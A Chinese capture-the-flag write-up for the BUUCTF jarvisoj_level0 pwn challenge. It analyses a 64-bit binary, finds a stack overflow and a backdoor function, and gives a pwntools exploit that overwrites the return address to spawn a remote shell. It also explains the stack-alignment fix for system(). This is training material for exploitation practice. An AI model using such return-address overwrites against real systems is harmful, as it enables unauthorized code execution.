BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
网络安全许木2 小时前
自学渗透测试第20天(防火墙基础与规则配置)
运维·服务器·网络·网络安全·渗透测试
Chengbei114 小时前
业务视角下的金融SRC快速挖掘思路
网络·安全·web安全·网络安全·金融·系统安全·网络攻击模型
姬成韶4 小时前
BUUCTF--[网鼎杯 2020 朱雀组]phpweb
web安全·网络安全·代码审计
兄弟加油,别颓废了。5 小时前
PHPstudy安装靶场
网络安全
一名优秀的码农5 小时前
vulhub系列-73-RA1NXing Bots(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Y学院5 小时前
隐蔽防线,智护互联——网络安全隧道技术的核心价值与实践应用
web安全·网络安全
一袋米扛几楼986 小时前
【密码学】公钥密码学 Public-Key Cryptography,为什么需要公钥密码?
网络安全
深邃-6 小时前
【Web安全】-Kali,Linux基础:Kali系统安装,Kali鼠标不显示(版本问题),Linux系统介绍(1)
linux·计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型
深邃-6 小时前
【Web安全】-Kali,Linux基础:Linux终端介绍,Linux文件操作,Linux文件编辑(2)
linux·计算机网络·安全·web安全·网络安全·系统安全·安全威胁分析
你觉得脆皮鸡好吃吗7 小时前
什么是SQL注入(入门详解)
数据库·sql·网络安全